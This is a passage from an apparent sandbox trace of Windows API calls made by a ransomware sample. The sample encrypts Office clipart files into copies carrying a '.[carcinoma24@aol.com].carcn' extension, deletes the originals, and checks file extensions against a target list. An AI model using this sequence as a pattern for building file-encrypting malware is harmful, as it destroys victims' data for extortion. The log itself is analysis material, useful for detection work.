Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0288.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0288.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0288.161] lstrlenW (lpString=".doc") returned 4 [0288.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.161] lstrlenW (lpString=".docx") returned 5 [0288.161] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0288.161] lstrlenW (lpString=".pdf") returned 4 [0288.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.161] lstrlenW (lpString=".xls") returned 4 [0288.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.161] lstrlenW (lpString=".xlsx") returned 5 [0288.161] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0288.161] lstrlenW (lpString=".ppt") returned 4 [0288.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0288.162] lstrlenW (lpString=".zip") returned 4 [0288.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.162] lstrlenW (lpString=".rar") returned 4 [0288.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.162] lstrlenW (lpString=".bz2") returned 4 [0288.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.162] lstrlenW (lpString=".7z") returned 3 [0288.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0288.162] lstrlenW (lpString=".dbf") returned 4 [0288.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0288.162] lstrlenW (lpString=".1cd") returned 4 [0288.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0288.162] lstrlenW (lpString=".jpg") returned 4 [0288.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.163] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=17638) returned 1 [0288.163] CloseHandle (hObject=0x560) returned 1 [0288.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220 [0288.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0288.164] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.164] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0288.165] GetLastError () returned 0x0 [0288.165] ReadFile (in: hFile=0x560, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x44e6, lpOverlapped=0x0) returned 1 [0288.172] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x44f0, lpOverlapped=0x0) returned 1 [0288.174] ReadFile (in: hFile=0x560, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.174] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.174] SetEndOfFile (hFile=0x550) returned 1 [0288.174] CloseHandle (hObject=0x550) returned 1 [0288.174] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.174] SetEndOfFile (hFile=0x560) returned 1 [0288.178] CloseHandle (hObject=0x560) returned 1 [0288.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0288.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0288.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0288.179] lstrlenW (lpString=".doc") returned 4 [0288.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.179] lstrlenW (lpString=".docx") returned 5 [0288.179] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0288.179] lstrlenW (lpString=".pdf") returned 4 [0288.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.179] lstrlenW (lpString=".xls") returned 4 [0288.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.179] lstrlenW (lpString=".xlsx") returned 5 [0288.179] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0288.180] lstrlenW (lpString=".ppt") returned 4 [0288.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0288.180] lstrlenW (lpString=".zip") returned 4 [0288.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.180] lstrlenW (lpString=".rar") returned 4 [0288.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.180] lstrlenW (lpString=".bz2") returned 4 [0288.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.180] lstrlenW (lpString=".7z") returned 3 [0288.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0288.180] lstrlenW (lpString=".dbf") returned 4 [0288.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0288.180] lstrlenW (lpString=".1cd") returned 4 [0288.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0288.180] lstrlenW (lpString=".jpg") returned 4 [0288.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.195] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3332) returned 1 [0288.195] CloseHandle (hObject=0x394) returned 1 [0288.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220 [0288.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0288.197] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.197] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0288.198] GetLastError () returned 0x0 [0288.198] ReadFile (in: hFile=0x394, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xd04, lpOverlapped=0x0) returned 1 [0288.204] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xd10, lpOverlapped=0x0) returned 1 [0288.206] ReadFile (in: hFile=0x394, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.206] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.206] SetEndOfFile (hFile=0x370) returned 1 [0288.206] CloseHandle (hObject=0x370) returned 1 [0288.206] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.206] SetEndOfFile (hFile=0x394) returned 1 [0288.209] CloseHandle (hObject=0x394) returned 1 [0288.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0288.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0288.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0288.211] lstrlenW (lpString=".doc") returned 4 [0288.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.211] lstrlenW (lpString=".docx") returned 5 [0288.211] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0288.211] lstrlenW (lpString=".pdf") returned 4 [0288.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.211] lstrlenW (lpString=".xls") returned 4 [0288.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.211] lstrlenW (lpString=".xlsx") returned 5 [0288.211] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0288.211] lstrlenW (lpString=".ppt") returned 4 [0288.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0288.211] lstrlenW (lpString=".zip") returned 4 [0288.212] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.212] lstrlenW (lpString=".rar") returned 4 [0288.212] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.212] lstrlenW (lpString=".bz2") returned 4 [0288.212] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.212] lstrlenW (lpString=".7z") returned 3 [0288.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0288.212] lstrlenW (lpString=".dbf") returned 4 [0288.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0288.212] lstrlenW (lpString=".1cd") returned 4 [0288.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0288.212] lstrlenW (lpString=".jpg") returned 4 [0288.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.213] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=5314) returned 1 [0288.213] CloseHandle (hObject=0x394) returned 1 [0288.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220 [0288.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0288.214] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.214] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0288.215] GetLastError () returned 0x0 [0288.215] ReadFile (in: hFile=0x394, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x14c2, lpOverlapped=0x0) returned 1 [0288.234] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0288.235] ReadFile (in: hFile=0x394, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.235] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.235] SetEndOfFile (hFile=0x370) returned 1 [0288.235] CloseHandle (hObject=0x370) returned 1 [0288.236] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.236] SetEndOfFile (hFile=0x394) returned 1 [0288.239] CloseHandle (hObject=0x394) returned 1 [0288.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0288.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0288.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0288.242] lstrlenW (lpString=".doc") returned 4 [0288.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.242] lstrlenW (lpString=".docx") returned 5 [0288.242] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0288.242] lstrlenW (lpString=".pdf") returned 4 [0288.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.242] lstrlenW (lpString=".xls") returned 4 [0288.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.242] lstrlenW (lpString=".xlsx") returned 5 [0288.242] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0288.242] lstrlenW (lpString=".ppt") returned 4 [0288.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0288.242] lstrlenW (lpString=".zip") returned 4 [0288.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.242] lstrlenW (lpString=".rar") returned 4 [0288.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.242] lstrlenW (lpString=".bz2") returned 4 [0288.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.242] lstrlenW (lpString=".7z") returned 3 [0288.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0288.242] lstrlenW (lpString=".dbf") returned 4 [0288.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0288.243] lstrlenW (lpString=".1cd") returned 4 [0288.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0288.243] lstrlenW (lpString=".jpg") returned 4 [0288.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.243] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=42050) returned 1 [0288.243] CloseHandle (hObject=0x394) returned 1 [0288.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220 [0288.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0288.245] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.245] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0288.246] GetLastError () returned 0x0 [0288.246] ReadFile (in: hFile=0x394, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xa442, lpOverlapped=0x0) returned 1 [0288.261] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xa450, lpOverlapped=0x0) returned 1 [0288.263] ReadFile (in: hFile=0x394, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.263] WriteFile (in: hFile=0x370, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.263] SetEndOfFile (hFile=0x370) returned 1 [0288.264] CloseHandle (hObject=0x370) returned 1 [0288.264] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.264] SetEndOfFile (hFile=0x394) returned 1 [0288.267] CloseHandle (hObject=0x394) returned 1 [0288.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0288.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0288.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0288.269] lstrlenW (lpString=".doc") returned 4 [0288.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.427] lstrlenW (lpString=".docx") returned 5 [0288.428] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0288.428] lstrlenW (lpString=".pdf") returned 4 [0288.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString=".xls") returned 4 [0288.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.428] lstrlenW (lpString=".xlsx") returned 5 [0288.428] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0288.428] lstrlenW (lpString=".ppt") returned 4 [0288.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0288.428] lstrlenW (lpString=".zip") returned 4 [0288.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.428] lstrlenW (lpString=".rar") returned 4 [0288.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString=".bz2") returned 4 [0288.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString=".7z") returned 3 [0288.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0288.428] lstrlenW (lpString=".dbf") returned 4 [0288.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0288.428] lstrlenW (lpString=".1cd") returned 4 [0288.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0288.428] lstrlenW (lpString=".jpg") returned 4 [0288.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.430] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.430] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), 